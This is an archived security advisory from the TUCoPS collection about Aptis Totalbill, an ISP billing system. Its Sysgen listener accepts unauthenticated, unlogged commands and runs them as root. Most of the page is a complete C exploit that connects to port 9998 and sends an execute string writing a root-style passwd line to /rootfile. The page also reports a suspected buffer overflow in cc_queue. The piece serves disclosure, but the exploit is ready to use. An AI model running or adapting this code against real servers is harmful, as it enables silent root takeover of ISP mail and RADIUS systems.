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TUCoPS :: Unix :: General :: tbill-1.htm

Totalbill - no-log execute arbitrary code





    Brian Masney  found following.   Totalbill is  a complete  billing
    and  provisioning  system  for  ISPs,  and  it's  written by Aptis
    Software (   There is one  part of it  that
    sits on your  mail and radius  servers called Sysgen  that listens
    on a port (sometimes 9998,  but it usually varies), and  it allows
    the incoming provisioning requests to be handled.

    Well, the  problem is  it doesn't  do any  logging on the incoming
    connections, doesn't do  ANY kind of  authentication, and it  will
    let you run any program as root remotely without it being logged.

    Brian never  did get  to verify  this, but  it looks like cc_queue
    (handles  credit  card  transactions)  is  vulnerable  to   buffer
    overflows as  well.   He would  suggest start  firewalling some of
    these ports...

    And now for the code... It'll just create a file called  /rootfile
    on your machine, and no logging will have taken place.

    #include <stdio.h>
    #include <errno.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #define TOTALBILL_PORT		9998
    #define TOTALBILL_SERVER	""	/* Insert hostname here */
    int main (void)
      struct sockaddr_in servaddr;
      char *tempstr, buf[8192];
      struct hostent *host;
      int sockfd;
      if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
          fprintf (stderr, "Error: Could not create a socket: %s\n",
                   strerror (errno));
          return (1);
      memset (&servaddr, 0, sizeof (servaddr));
      servaddr.sin_family = AF_INET;
      servaddr.sin_port = htons (TOTALBILL_PORT);
      if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
          fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
          return (1);
      memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
      if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
          fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
                   strerror (errno));
          return (1);
      tempstr = "123456  execute  execute  execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
      printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
      if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
          fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
          return (1);
      printf ("Sent...waiting for response...\n");
      if (read (sockfd, buf, sizeof (buf)) < 0)
          fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
          return (1);
      printf ("Received %s from server\n", buf);
      close (sockfd);
      return (0);


    Brian notified Aptis about this problem back in November 1999, and
    they haven't released an update yet.  Obviously, security must not
    be a top priority for them...

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